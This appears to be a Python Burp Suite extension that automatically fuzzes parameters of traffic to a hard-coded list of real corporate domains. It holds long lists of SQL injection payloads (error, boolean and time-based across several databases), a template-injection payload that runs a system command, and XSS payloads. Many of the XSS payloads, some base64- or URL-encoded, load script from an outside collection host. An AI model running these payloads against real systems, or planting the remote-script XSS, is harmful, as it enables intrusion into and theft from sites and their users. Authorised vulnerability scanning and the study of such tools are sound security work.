下一步准备加入sqlmap
1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
# @Time    : 2019/10/29 10:35
4
# @Author  : xiaodong
5
# @github  : https://github.com/dongfangyuxiao/
6
# @Site    : #
7
# @File    : Burp_Sql.py
8
# @Software: PyCharm
9
#思路为显注，盲注和布尔注入，如果检测到存在sql注入，调用sqlmap自动化检测
10
import threading
11
import re
12
from burp import IBurpExtender
13
from burp import IHttpListener
14
from burp import IHttpRequestResponse
15
from burp import IResponseInfo
16
from burp import IRequestInfo
17
from burp import IHttpService
18
from burp import IScannerCheck
19
from burp import IScannerInsertionPointProvider
20
from burp import IParameter
21
from burp import IScanIssue
22
from urlparse import urlparse
23
from java.net import URL
24
import urllib2
25
import time
26
class FuzzSQL:
27
    def __init__(self):
28
        # 任意文件读取敏感目录
29
30
31
        self.bool = [
32
33
            '\'',
34
            '"',
35
            '\\',
36
            "'having 1=1",
37
            "'having 1=1 -- ",
38
            "'.((\"), .), ",
39
            "'qyIEac<'\" > meepaj",
40
            ") AND 2369=7570 AND (4882=4882",
41
            ") AND 4339=4339 AND (8027=8027",
42
            " AND 4119=1672",
43
            " AND 4339=4339",
44
            " AND 3815=6751-- IXOS",
45
            " AND 4339=4339-- HMia",
46
            "') AND 3730=1906 AND ('Xiuy'='Xiuy",
47
            "') AND 4339=4339 AND ('jHzJ'='jHzJ",
48
            "' AND 5377=9543 AND 'wHhK'='wHhK",
49
            "' AND 4339=4339 AND 'vtqs'='vtqs",
50
            ") AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x717a767071,(SELECT (ELT(2671=2671,1))),0x7178787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (8595=8595",
51
            " AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x717a767071,(SELECT (ELT(2671=2671,1))),0x7178787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)",
52
            " AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x717a767071,(SELECT (ELT(2671=2671,1))),0x7178787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tCOg",
53
            "') AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x717a767071,(SELECT (ELT(2671=2671,1))),0x7178787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('muUY'='muUY",
54
            "' AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x717a767071,(SELECT (ELT(2671=2671,1))),0x7178787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'IKdR'='IKdR",
55
            ") AND 5486=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5486=5486) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC) AND (1207=1207",
56
            " AND 5486=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5486=5486) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC)",
57
            " AND 5486=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5486=5486) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC)-- fDiO",
58
            "') AND 5486=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5486=5486) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC) AND ('bytX'='bytX",
59
            "' AND 5486=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5486=5486) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC) AND 'uLDf'='uLDf",
60
            ") AND 5027 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5027=5027) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113))) AND (2900=2900",
61
            " AND 5027 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5027=5027) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)))",
62
            " AND 5027 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5027=5027) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)))-- bSzZ",
63
            "') AND 5027 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5027=5027) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113))) AND ('vPwk'='vPwk",
64
            "' AND 5027 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5027=5027) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113))) AND 'Kzmh'='Kzmh",
65
            ") AND 1605=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1605=1605) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND (8033=8033",
66
            " AND 1605=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1605=1605) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL)",
67
            " AND 1605=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1605=1605) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL)-- pwLB",
68
            "') AND 1605=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1605=1605) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND ('LLnX'='LLnX",
69
            "' AND 1605=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1605=1605) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND 'VBms'='VBms",
70
            ");SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(79)||CHR(108)||CHR(102),5) FROM DUAL--",
71
            ";SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(79)||CHR(108)||CHR(102),5) FROM DUAL--",
72
            "');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(79)||CHR(108)||CHR(102),5) FROM DUAL--",
73
            "';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(79)||CHR(108)||CHR(102),5) FROM DUAL--",
74
            ") AND 4630=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(105)||CHR(89)||CHR(78),5) AND (7434=7434",
75
            " AND 4630=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(105)||CHR(89)||CHR(78),5)",
76
            " AND 4630=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(105)||CHR(89)||CHR(78),5)-- hKOD",
77
            "') AND 4630=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(105)||CHR(89)||CHR(78),5) AND ('crsX'='crsX",
78
            "' AND 4630=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(105)||CHR(89)||CHR(78),5) AND 'uSfm'='uSfm",
79
            ") ORDER BY 1-- JUua",
80
            ") ORDER BY 1211-- bTop",
81
            " ORDER BY 1-- KETI",
82
            " ORDER BY 8862-- lrCN",
83
            " ORDER BY 1-- iqTQ",
84
            " ORDER BY 6897-- ATyb",
85
            "') ORDER BY 1-- pFmP",
86
            "') ORDER BY 6248-- jCNB",
87
            "' ORDER BY 1-- taCa",
88
            "' ORDER BY 8392-- odDc",
89
90
        ]
91
92
        self.errorFlag = re.compile(r'.*(SQL syntax.*?MySQL|Warning.*?\Wmysqli?_|MySQLSyntaxErrorException|valid MySQL result|check the manual that|MySqlClient\.|com\.mysql\.jdbc|Mysqli_Exception|MySqlException|Syntax error|PostgreSQL.*?ERROR|Npgsql\.|PG::SyntaxError:|PSQLException|Driver.*? SQL*Server|OLE DB.*? SQL Server|Warning.*?\W(mssql|sqlsrv)_|ODBC SQL Server Driver|SQLServer JDBC Driver|SQL(Srv|Server)Exception|Oracle error|SQL command|OracleException|SQL error|DB2Exception|Informix|IfxException|SQL Error|SQLite|JDBCDriver|sqlite3|SQLiteException|DriverSapDB|Sybase|SybSQLException|SQLSTATE|SQL syntax|mysql_error|syntax error|nvarchar|valid Mysql|Unknown column|ODBC SQL SERVER|An unhandled exception|sqlException|SQLException|OleDbException).*')
93
94
        self.blind=[
95
96
            ");SELECT PG_SLEEP(9)--",
97
            ";SELECT PG_SLEEP(9)--",
98
            "');SELECT PG_SLEEP(9)--",
99
            "';SELECT PG_SLEEP(9)--",
100
            ");WAITFOR DELAY '0:0:9'--",
101
            ";WAITFOR DELAY '0:0:9'--",
102
            "');WAITFOR DELAY '0:0:9'--",
103
            "';WAITFOR DELAY '0:0:9'--",
104
            ") AND (SELECT 7932 FROM (SELECT(SLEEP(9)))GCSo) AND (8196=8196",
105
            " AND (SELECT 7932 FROM (SELECT(SLEEP(9)))GCSo)",
106
            " AND (SELECT 7932 FROM (SELECT(SLEEP(9)))GCSo)-- jSmg",
107
            "') AND (SELECT 7932 FROM (SELECT(SLEEP(9)))GCSo) AND ('KiWF'='KiWF",
108
            "' AND (SELECT 7932 FROM (SELECT(SLEEP(9)))GCSo) AND 'rJmG'='rJmG",
109
            ") AND 4459=(SELECT 4459 FROM PG_SLEEP(9)) AND (1717=1717",
110
            " AND 4459=(SELECT 4459 FROM PG_SLEEP(9))",
111
            " AND 4459=(SELECT 4459 FROM PG_SLEEP(9))-- qool",
112
            "') AND 4459=(SELECT 4459 FROM PG_SLEEP(9)) AND ('gAwi'='gAwi",
113
            "' AND 4459=(SELECT 4459 FROM PG_SLEEP(9)) AND 'rGzj'='rGzj",
114
            ") WAITFOR DELAY '0:0:9' AND (8062=8062",
115
            " WAITFOR DELAY '0:0:9'",
116
            " WAITFOR DELAY '0:0:9'-- YuFz",
117
            "') WAITFOR DELAY '0:0:9' AND ('CMmZ'='CMmZ",
118
            "' WAITFOR DELAY '0:0:9' AND 'dzum'='dzum",
119
            "' and sleep(9)#",
120
            "' xor sleep(9)#",
121
            "' or sleep(9)",
122
            "' or sleep(9)#",
123
            "' and sleep(9)--",
124
            "' xor sleep(9)--",
125
            "' or sleep(9)--",
126
            "') and sleep(9) or ('a'='a",
127
            "') xor sleep(9) or ('a'='a",
128
            "^sleep(9)^'",
129
            "'^sleep(9)^'",
130
            "^sleep(9)#",
131
            "'^sleep(9)#",
132
            "'^sleep(9)--",
133
            "^sleep(9)--",
134
            "' or sleep(9) or '1'='1'--",
135
            "' and sleep(9) or '1'='1'--",
136
            "' xor sleep(9) or '1'='1'--",
137
            "' or sleep(9) or ''='",
138
            "\" or sleep(9) or \"\"=\"",
139
            "\" sleep(9) or \"a\"=\"a",
140
            "\" and sleep(9) or 1=1 --",
141
            "' and sleep(9) or 1=1 --",
142
            "' and sleep(9) or 'a'='a",
143
            "') or sleep(9) or ('a'='a",
144
            "\") or sleep(9) or (\"a\"=\"a",
145
            "'admin' or sleep(9) or 'x'='x';",
146
            " and sleep(9)#",
147
            " xor sleep(9)#",
148
            " or sleep(9)",
149
            " or sleep(9)#",
150
            " and sleep(9)--",
151
            " xor sleep(9)--",
152
            " or sleep(9)--",
153
            ") and sleep(9) or ('a'='a",
154
            ") xor sleep(9) or ('a'='a",
155
            "^sleep(9)^",
156
            " or sleep(9) or '1'='1'--",
157
            " and sleep(9) or '1'='1'--",
158
            " xor sleep(9) or '1'='1'--",
159
            " or sleep(9) or ''='",
160
            " xor sleep(9)--",
161
            "' or sleep(9)#",
162
            "' and sleep(9)--",
163
            "' xor sleep(9)--",
164
            "' or sleep(9)--",
165
            "') and sleep(9) or ('a'='a",
166
            "') xor sleep(9) or ('a'='a",
167
            "^sleep(9)^'",
168
            "'^sleep(9)^'",
169
            '$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()'#这是个模板注入，放在这里了
170
            '$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()'#
171
172
        ]
173
174
        self.xssPayload = [
175
176
            "</tExtArEa>'\"><sCRiPt sRC=//ld8.me/XGGX></sCrIpT>",
177
            "'\"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbGQ4Lm1lL1hHR1giO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>",
178
            "'\"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbGQ4Lm1lL1hHR1giO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>",
179
            "</tEXtArEa>'\"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2Fld8.me%2FXGGX%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>",
180
            "<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//ld8.me/XGGX';>",
181
            "<embed src=https://ld8.me/liuyan/xs.swf?a=e&c=doc\u0075ment.write(St\u0072ing.from\u0043harCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,108,100,56,46,109,101,47,88,71,71,88,62,60,47,115,67,114,73,112,84,62)) allowscriptaccess=always type=application/x-shockwave-flash></embed>",
182
           '<sCRiPt/SrC=//ld8.me/XGGX>',
183
            '<Img srC=https://ld8.me/XGGX/test.jpg>',
184
            '<Img srC="https://ld8.me/XGGX/test.jpg">',
185
            '<Img sRC=//ld8.me/XGGX/test.jpg>',
186
            '\'"</Script><Html Onmouseover=(confirm)(135790)//',
187
            '<imG/sRc=l oNerrOr=(prompt)(135790) x>',
188
            '<!--<iMg sRc=--><img src=x oNERror=(prompt)`135790` x>',
189
            '<deTails open oNToggle=confi\u0072m(135790)>',
190
            '<img sRc=l oNerrOr=(confirm)(135790) x>',
191
            '<svg/x=">"/onload=confirm(135790)//',
192
            '<svg%0Aonload=%09((pro\u006dpt))(135790)//',
193
            '<iMg sRc=x:confirm`135790` oNlOad=e\u0076al(src)>',
194
            '<sCript x>confirm`135790`</scRipt x>',
195
            '<Script x>prompt(135790)</scRiPt x>',
196
            '<sCriPt sRc=//ld8.me/XGGX>',
197
            '<embed//sRc=//ld8.me/XGGX>',
198
            '<base href=//ld8.me/XGGX><script src=/>',
199
            '<object//data=//ld8.me/XGGX>',
200
            '<s=" onclick=confirm`135790`>clickme',
201
            '<svG oNLoad=co\u006efirm&#x28;1&#x29>',
202
            '\'"><y///oNMousEDown=((confirm))(135790)>Click',
203
            '<img src=x onerror=confir\u006d`135790`>',
204
            '<svg/onload=co\u006efir\u006d`135790`>'
205
206
]
207
class BurpExtender(IBurpExtender,IScannerCheck):
208
209
    def registerExtenderCallbacks(self,callbacks):
210
        self._callbacks = callbacks
211
        self._helpers = callbacks.getHelpers()
212
        self._callbacks.registerScannerCheck(self) #注册扫描插件
213
        self._callbacks.setExtensionName("SQL_inject")#定义插件的名称
214
        print("for SQL inject scan")
215
        self.fuzzSQL = FuzzSQL()#引入上面定义的类
216
    #以上都是标准化程序
217
218
    def doPassiveScan(self, baseRequestResponse):
219
        sqlTarget = []
220
        Request = baseRequestResponse.getRequest()
221
        analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters= self.get_request_info(Request )
222
        httpService = baseRequestResponse.getHttpService()
223
        host, port, protocol, ishttps, = self.get_server_info(httpService)
224
        targetHost = ['saicmaxus', 'saicmotor', 'maxuscloud','224','226','129','130','bihuo','rv2go']
225
        url = self.get_request_url(protocol, reqHeaders)
226
227
        if (host.split('.')[-3] in  targetHost) or (host.split('.')[-2] in targetHost):#多级或单级或类似baidu.net.cn的形势取主域名字段，比对是否在目标列表中
228
            for parameter in reqParameters:
229
                parameterName, parameterValue, parameterType = self.get_parameter_Name_Value_Type(parameter)
230
                #print(parameterName, parameterValue,parameterType)
231
                if parameterType ==0 or parameterType ==1 :#0是post型参数1是get型，2是cookie，这里不测试cookie里面的参数
232
                    #print parameterName
233
234
                    t2 = threading.Thread(target=self.sqlBool, args=(
235
                        Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
236
                    sqlTarget.append(t2)
237
238
                    t3 = threading.Thread(target=self.sqlBlind, args=(
239
                        Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
240
                    sqlTarget.append(t3)
241
242
                    t4 = threading.Thread(target=self.xssTest, args=(
243
                        Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
244
                    sqlTarget.append(t4)
245
246
247
248
249
        for x in sqlTarget:
250
            x.start()
251
        for x in sqlTarget:
252
            x.join()
253
                #else:
254
                    #pass
255
256
    def consolidateDuplicateIssues(self, existingIssue, newIssue):
257
258
        return 0
259
260
    def doActiveScan(self, baseRequestResponse, insertionPoint):
261
            # report the issue
262
            return None
263
264
265
    def sqlBlind(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
266
267
        for paraNewValue in self.fuzzSQL.blind:
268
            paraNewValue = parameterValue + urllib2.quote(paraNewValue)  # 进行url编码
269
            newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);#重建参数和参数值
270
            newRequest = self._helpers.updateParameter(request, newParameter);#更新参数值
271
            startTime = time.time()#起始时间
272
            #print(newRequest)
273
            newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);#生成http请求
274
            newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
275
                newRequest)#获取请求包信息（如果存在可以获取payload）
276
            #analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest)
277
278
            newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)#获取返回包头、body内容、和状态信息（这个是sql注入的判断的一个依据）
279
            # 判断是否存在特征
280
            endTime = time.time()#结束时间
281
            sleepTime = endTime - startTime
282
283
            if sleepTime>=9:
284
                newReqUrl = self.get_request_url(protocol, newReqHeaders)
285
                content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[Blind SQL GET]',newReqUrl, newReqHeaders, newReqBodys)
286
                print (content)
287
                self.save(content + '\t\n')
288
                print ('-' * 50)
289
                break
290
291
    def sqlBool(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
292
        resLengths = []
293
        newResStatusCodes = []
294
        for paraNewValue in self.fuzzSQL.bool:
295
            paraNewValue = parameterValue+urllib2.quote(paraNewValue)#进行url编码
296
            #print paraNewValue
297
            newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);#重建参数和参数值
298
            newRequest = self._helpers.updateParameter(request, newParameter);#更新参数值
299
            #print(newRequest)
300
            newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);#生成http请求
301
            newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
302
                newRequest)#获取请求包信息（如果存在可以获取payload）
303
            #analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest)
304
305
            newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)#获取返回包头、body内容、和状态信息（这个是sql注入的判断的一个依据）
306
            errorInject = self.fuzzSQL.errorFlag.findall(newResBodys)
307
308
            if errorInject:
309
                newReqUrl = self.get_request_url(protocol, newReqHeaders)
310
                content = '[+] Error SQL Get {} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[Error]', errorInject,
311
                                                                                                newReqUrl,
312
                                                                                                newReqHeaders,
313
                                                                                                newReqBodys)
314
                print (content)
315
                self.save(content + '\t\n')
316
                print ('-' * 50)
317
                break
318
319
            # 判断是否存在特征
320
            resLengths.append(int(resLength))
321
            newResStatusCodes.append(newResStatusCode)
322
        #print parameterName
323
        resLengths.sort()
324
        #print resLengths
325
        newResStatusCodes.sort()
326
        #print newResStatusCodes
327
328
        if (resLengths[len(resLengths)-1] - resLengths[0] > 20) or (newResStatusCodes[-1]!=newResStatusCodes[0]) :
329
            #print resLengths[len(resLengths)-1] - resLengths[0]
330
            newReqUrl = self.get_request_url(protocol, newReqHeaders)
331
            content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[Bool SQL GET]',newReqUrl, newReqHeaders, newReqBodys)
332
            print content
333
            self.save(content + '\t\n')
334
            print ('-' * 50)
335
336
337
    def xssTest(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
338
        resLengths = []
339
        newResStatusCodes = []
340
        for paraNewValue in self.fuzzSQL.xssPayload:
341
            paraNewValue = parameterValue+urllib2.quote(paraNewValue)#进行url编码
342
            #print paraNewValue
343
            newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);#重建参数和参数值
344
            newRequest = self._helpers.updateParameter(request, newParameter);#更新参数值
345
            #print(newRequest)
346
            newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);#生成http请求
347
            newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
348
                newRequest)#获取请求包信息（如果存在可以获取payload）
349
            #analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest)
350
351
            newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)#获取返回包头、body内容、和状态信息（这个是sql注入的判断的一个依据）
352
353
            if '135790'  in newResBodys:
354
                newReqUrl = self.get_request_url(protocol, newReqHeaders)
355
                content = '[+] XSS Get {} ->\n[Headers] -> {}\n[Bodys] -> {}'.format(newReqUrl,newReqHeaders,newReqBodys)
356
                print (content)
357
                self.save(content + '\t\n')
358
                print ('-' * 50)
359
                break
360
361
    def get_response_info(self, response):
362
        analyzedResponse = self._helpers.analyzeResponse(
363
            response)  # analyzeResponse方法可用于分析HTTP响应，并获取有关它的各种关键详细信息。返回：IResponseInfo可以查询的对象以获取有关响应的详细信息。
364
        resHeaders = analyzedResponse.getHeaders()  # getHeaders方法用于获取响应中包含的HTTP标头。返回：响应中包含的HTTP标头。
365
        resBodys = response[
366
                   analyzedResponse.getBodyOffset():].tostring()  # getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回：消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容
367
        resStatusCode = analyzedResponse.getStatusCode()  # getStatusCode获取响应中包含的HTTP状态代码。返回：响应中包含的HTTP状态代码。
368
        for header in resHeaders:
369
            if 'Content-Length' in header:
370
                resLength = int(header.split(':')[1].strip())  # 我在这里增加了一个返回包长度检测
371
            else:
372
                resLength =int(0)
373
        return resHeaders, resBodys, resStatusCode, resLength
374
375
        # 获取服务端的信息，主机地址，端口，协议
376
    def get_server_info(self, httpService):
377
        host = httpService.getHost()
378
        port = httpService.getPort()
379
        protocol = httpService.getProtocol()
380
        ishttps = False
381
        if protocol == 'https':
382
            ishttps = True
383
        return host, port, protocol, ishttps
384
385
        # 获取请求的参数名、参数值、参数类型（get、post、cookie->用来构造参数时使用）
386
    def get_parameter_Name_Value_Type(self, parameter):
387
        parameterName = parameter.getName()
388
        parameterValue = parameter.getValue()
389
        parameterType = parameter.getType()
390
        return parameterName, parameterValue, parameterType
391
392
        # 获取请求的url
393
394
    def get_request_url(self, protocol, reqHeaders):
395
        link = reqHeaders[0].split(' ')[1]
396
        host = reqHeaders[1].split(' ')[1]
397
        if 'http' in link:
398
            return link
399
        else:
400
            return protocol + '://' + host + link
401
402
    # 保存结果
403
    def save(self, content):
404
        print(content)
405
        f = open('burp_sql.txt', 'at')
406
        f.writelines(content + '\n\n')
407
        f.close()
408
409
410
411
    def get_request_info(self, request):
412
        analyzedRequest = self._helpers.analyzeRequest(
413
            request)  # analyzeRequest用于分析HTTP请求，并获取有关它的各种关键详细信息。生成的IRequestInfo对象
414
        reqHeaders = analyzedRequest.getHeaders()  # 用于获取请求中包含的HTTP头。返回：请求中包含的HTTP标头。
415
        reqBodys = request[analyzedRequest.getBodyOffset():].tostring()  # 获取消息正文开始的请求中的偏移量。返回：消息正文开始的请求中的偏移量。
416
        reqMethod = analyzedRequest.getMethod()  # 获取请求方法
417
        reqParameters = analyzedRequest.getParameters()
418
        return analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters
419
420
421